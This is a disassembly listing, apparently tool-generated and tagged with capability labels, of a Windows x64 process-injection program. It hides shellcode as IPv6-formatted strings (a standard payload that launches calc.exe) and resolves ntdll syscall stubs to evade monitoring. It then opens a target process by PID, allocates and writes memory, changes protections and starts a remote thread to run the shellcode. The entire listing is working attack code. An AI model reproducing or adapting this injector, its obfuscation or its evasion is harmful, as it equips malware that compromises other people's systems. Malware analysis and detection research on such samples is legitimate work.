Function at 0x140001070
Capabilities:
Convert ip address from string
Link many functions at runtime

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r15
lea rbp, [rsp - 0x80]
sub rsp, 0x180
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x70], rax
xor r15d, r15d
mov qword [rbp + 0x58], 0x120
lea rax, str.FC48:83E4:F0E8:C000:0000:4151:4150:5251
mov qword [rbp - 8], r15
mov qword [rsp + 0x60], rax
mov esi, ecx
lea rax, str.5648:31D2:6548:8B52:6048:8B52:1848:8B52
mov qword [rbp - 0x10], r15
mov qword [rsp + 0x68], rax
lea rcx, str.ntdll.dll
lea rax, str.2048:8B72:5048:0FB7:4A4A:4D31:C948:31C0
mov qword [rbp], r15
mov qword [rsp + 0x70], rax
mov rbx, rdx
lea rax, str.AC3C:617C:022C:2041:C1C9:0D41:01C1:E2ED
mov qword [rbp + 0x50], r15
mov qword [rsp + 0x78], rax
lea rax, str.5241:5148:8B52:208B:423C:4801:D08B:8088
mov qword [rbp - 0x80], rax
lea rax, str.0000:0048:85C0:7467:4801:D050:8B48:1844
mov qword [rbp - 0x78], rax
lea rax, str.8B40:2049:01D0:E356:48FF:C941:8B34:8848
mov qword [rbp - 0x70], rax
lea rax, str.01D6:4D31:C948:31C0:AC41:C1C9:0D41:01C1
mov qword [rbp - 0x68], rax
lea rax, str.38E0:75F1:4C03:4C24:0845:39D1:75D8:5844
mov qword [rbp - 0x60], rax
lea rax, str.8B40:2449:01D0:6641:8B0C:4844:8B40:1C49
mov qword [rbp - 0x58], rax
lea rax, str.01D0:418B:0488:4801:D041:5841:585E:595A
mov qword [rbp - 0x50], rax
lea rax, str.4158:4159:415A:4883:EC20:4152:FFE0:5841
mov qword [rbp - 0x48], rax
lea rax, str.595A:488B:12E9:57FF:FFFF:5D48:BA01:0000
mov qword [rbp - 0x40], rax
lea rax, str.0000:0000:0048:8D8D:0101:0000:41BA:318B
mov qword [rbp - 0x38], rax
lea rax, str.6F87:FFD5:BBE0:1D2A:0A41:BAA6:95BD:9DFF
mov qword [rbp - 0x30], rax
lea rax, str.D548:83C4:283C:067C:0A80:FBE0:7505:BB47
mov qword [rbp - 0x28], rax
lea rax, str.1372:6F6A:0059:4189:DAFF:D563:616C:632E
mov qword [rbp - 0x20], rax
lea rax, str.6578:6500:9090:9090:9090:9090:9090:9090
mov qword [rbp - 0x18], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdi, rax
test rax, rax
je 0x1400012b2
lea rdx, str.NtOpenProcess
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtAllocateVirtualMemory
movzx ecx, byte [rax + 4]
add rax, 0x12
mov dword [0x140005698], ecx
mov rcx, rdi
mov qword [0x1400056c0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtWriteVirtualMemory
movzx ecx, byte [rax + 4]
add rax, 0x12
mov dword [0x140005688], ecx
mov rcx, rdi
mov qword [0x1400056a0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtProtectVirtualMemory
movzx ecx, byte [rax + 4]
add rax, 0x12
mov dword [0x140005684], ecx
mov rcx, rdi
mov qword [0x140005690], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtCreateThreadEx
movzx ecx, byte [rax + 4]
add rax, 0x12
mov dword [0x14000569c], ecx
mov rcx, rdi
mov qword [0x140005678], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtWaitForSingleObject
movzx ecx, byte [rax + 4]
add rax, 0x12
mov dword [0x1400056b4], ecx
mov rcx, rdi
mov qword [0x1400056a8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtClose
movzx ecx, byte [rax + 4]
add rax, 0x12
mov dword [0x140005680], ecx
mov rcx, rdi
mov qword [0x1400056c8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
movzx ecx, byte [rax + 4]
add rax, 0x12
mov dword [0x1400056b0], ecx
mov qword [0x1400056b8], rax
cmp esi, 2
jge 0x1400012bc
mov rdx, qword [rbx]
lea rcx, str.____Usage_:__s__PID__n
call fcn.140001010
mov eax, 1
jmp 0x140001514
mov rcx, qword [rbx + 8]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
xorps xmm0, xmm0
mov dword [rbp + 0x18], 0x30
mov ebx, eax
lea rcx, str._i__Try_to_Handle_process__ld_n
mov edx, eax
mov qword [rbp + 8], rbx
mov qword [rbp + 0x20], r15
movups xmmword [rbp + 0x28], xmm0
mov qword [rbp + 0x10], r15
movups xmmword [rbp + 0x38], xmm0
mov dword [rbp + 0x48], r15d
call fcn.140001010
lea r9, [rbp + 8]
mov edx, 0x1fffff
lea r8, [rbp + 0x18]
lea rcx, [rbp - 0x10]
call fcn.140001540
mov edx, ebx
test eax, eax
je 0x14000132d
mov r8d, eax
lea rcx, str.____Failed_to_handle_Process___ld___error:_0x_x_n
call fcn.140001010
mov eax, 1
jmp 0x140001514
lea rcx, str.___Got_handle_to_process__ld_n
call fcn.140001010
mov rdx, qword [rbp - 0x10]
lea rcx, str._i___tHandle:_0x_p_n
call fcn.140001010
mov rcx, qword [rbp - 0x10]
lea r9, [rbp + 0x58]
xor r8d, r8d
mov dword [rsp + 0x28], 4
lea rdx, [rbp - 8]
mov dword [rsp + 0x20], 0x3000
call fcn.14000154f
test eax, eax
je 0x140001395
mov r8d, eax
lea rcx, str.____Failed_to_allocate_memory_in_process__ld__error:_0x_x_n
mov edx, ebx
call fcn.140001010
mov rcx, qword [rbp - 0x10]
call fcn.14000159a
mov eax, 1
jmp 0x140001514
lea rcx, str.___Allocate_memory_Success__n
mov qword [rsp + 0x1a0], r14
call fcn.140001010
mov ebx, r15d
lea r14, [rsp + 0x60]
mov edi, r15d
mov rsi, r15
nop word [rax + rax]
mov rdx, qword [r14]
lea r8, [rbp + 0x60]
mov ecx, 0x17
call qword [sym.imp.WS2_32.dll_inet_pton]
mov rdx, qword [rbp - 8]
lea rax, [rbp + 0x50]
mov rcx, qword [rbp - 0x10]
lea r8, [rbp + 0x60]
add rdx, rsi
mov qword [rsp + 0x20], rax
mov r9d, 0x10
call fcn.14000155e
test eax, eax
jne 0x1400014f0
add ebx, 0x10
inc edi
add r14, 8
movsxd rsi, ebx
mov qword [rbp + 0x50], rsi
cmp edi, 0x12
jb 0x1400013c0
mov rcx, qword [rbp - 0x10]
lea rax, [rbp + 0x48]
mov r9d, 0x20
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x58]
lea rdx, [rbp - 8]
call fcn.14000156d
test eax, eax
je 0x140001442
lea rcx, str.____Failed_to_change_protect_type_on_memory__error:_0x_x_n
jmp 0x1400014f7
mov rax, qword [rbp - 8]
lea r8, [rbp + 0x18]
mov r9, qword [rbp - 0x10]
lea rcx, [rbp]
mov qword [rsp + 0x50], r15
mov edx, 0x1fffff
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x30], r15d
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rax
call fcn.14000157c
test eax, eax
je 0x14000148c
lea rcx, str.____Failed_to_create_handle_to_thread__error:_0x_x_n
jmp 0x1400014f7
lea rcx, str.___Got_handle_to_thread_n
call fcn.140001010
mov rdx, qword [rbp]
lea rcx, str._i___tHandle:_0x_p_n
call fcn.140001010
mov rcx, qword [rbp]
xor r8d, r8d
xor edx, edx
call fcn.14000158b
lea rcx, str.___Inject_successfully__n
call fcn.140001010
lea rcx, str._i__Cleaning_up_..._n
call fcn.140001010
mov rcx, qword [rbp]
call fcn.14000159a
mov rcx, qword [rbp - 0x10]
call fcn.14000159a
lea rcx, str.___Finished_cleanup__n
call fcn.140001010
xor eax, eax
jmp 0x14000150c
lea rcx, str.____Failed_to_write_shellcode_to_memory__error:_0x_x_n
mov edx, eax
call fcn.140001010
mov rcx, qword [rbp - 0x10]
call fcn.14000159a
mov eax, 1
mov r14, qword [rsp + 0x1a0]
mov rcx, qword [rbp + 0x70]
xor rcx, rsp
call fcn.1400015c0
lea r11, [rsp + 0x180]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop rdi
pop rbp
ret